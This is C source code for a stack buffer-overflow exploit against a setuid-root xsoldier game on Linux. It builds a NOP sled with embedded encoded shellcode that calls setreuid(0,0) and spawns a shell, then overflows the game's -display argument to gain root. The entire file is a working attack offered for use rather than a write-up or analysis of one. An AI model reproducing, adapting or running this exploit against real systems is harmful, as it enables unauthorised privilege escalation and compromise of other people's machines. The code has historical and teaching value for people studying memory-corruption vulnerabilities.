/*Larry W. Cashdollar linux xsolider exploit. *lwc@vapid.dhs.org http://vapid.dhs.org *if xsolider is built and installed from its source it will be installed *setuid root in /usr/local/games *original exploit found by brock tellier for freebsd 3.3 ports packages. *If a setregid() call is placed in the shellcode, you can get egid=12 *with the default Mandrake 7.0 installation. */ #include #include #define NOP 0x90 /*no operation skip to next instruction. */ #define LEN 4480 /*our buffersize. */ char shellcode[] =/*execve with setreuid(0,0) and no '/' hellkit v1.1 */ "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa" "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11" "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9" "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01" "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c" "\xc2\x91"; /*Nab the stack pointer to use as an index into our nop's*/ long get_sp () { __asm__ ("mov %esp, %eax"); } int main (int argc, char *argv[]) { char buffer[LEN]; int i, offset; long retaddr = get_sp (); if (argc <= 1) offset = 0; else offset = atoi (argv[1]); /*#Copy the NOPs in to the buffer leaving space for shellcode and #pointers*/ for (i = 0; i < (LEN - strlen (shellcode) - 100); i++) *(buffer + i) = NOP; /*[NNNNNNNNNNNNNNNNNNNNN ]*/ /* ^-- LEN -(strlen(shellcode)) - 35*/ /*#Copy the shell code into the buffer*/ memcpy (buffer + i, shellcode, strlen (shellcode)); /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS ]*/ /* ^-(buffer+i) */ /*#Fill the buffer with our new address to jump to esp + offset */ for (i = i + strlen (shellcode); i < LEN; i += 4) *(long *) &buffer[i] = retaddr+offset; /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/ /* ^-(i+strlen(shellcode))*/ printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN); execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0); }